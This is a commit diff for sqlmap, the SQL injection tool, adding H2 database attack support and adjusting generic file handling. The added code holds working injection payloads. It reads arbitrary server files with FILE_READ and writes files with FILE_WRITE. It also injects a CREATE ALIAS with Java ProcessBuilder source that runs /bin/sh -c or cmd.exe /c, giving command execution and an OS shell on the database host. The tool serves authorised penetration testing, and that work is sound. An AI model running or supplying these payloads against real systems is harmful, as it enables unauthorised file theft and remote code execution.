Improvement for H2 and Oracle

This commit is contained in:
Miroslav Štampar 2026-07-12 18:22:15 +02:00
parent 94e21844d7
commit 38ab43f29e
7 changed files with 88 additions and 21 deletions

View file

@ -5,14 +5,43 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.common import checkFile
from lib.core.convert import getText
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, remoteFile):
errMsg = "on H2 it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def nonStackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
# NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required)
result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def stackedReadFile(self, remoteFile):
# H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive
return self.nonStackedReadFile(remoteFile)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on H2 it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
checkFile(localFile)
self.checkDbmsOs()
with open(localFile, "rb") as f:
content = getText(f.read())
infoMsg = "writing the file content to '%s'" % remoteFile
logger.info(infoMsg)
# NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no
# stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed
# as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal)
inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

View file

@ -119,3 +119,10 @@ class Fingerprint(GenericFingerprint):
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warning(warnMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()

View file

@ -5,17 +5,42 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.enums import OS
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
self._createExecAlias()
self.runCmd(conf.osCmd)
def osShell(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
self._createExecAlias()
self.shell()
def _createExecAlias(self):
# NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids
# single-quote escaping and survives stacked-query injection intact
if not kb.get("h2ExecAlias"):
kb.h2ExecAlias = randomStr(lowercase=True)
argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"'
# NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL
# statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java
source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv
inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source))
def h2ExecCmd(self, cmd, silent=False):
self._createExecAlias()
inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")))
def h2EvalCmd(self, cmd, first=None, last=None):
self._createExecAlias()
return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False)
def osPwn(self):
errMsg = "on H2 it is not possible to establish an "

View file

@ -229,7 +229,7 @@ class Filesystem(object):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)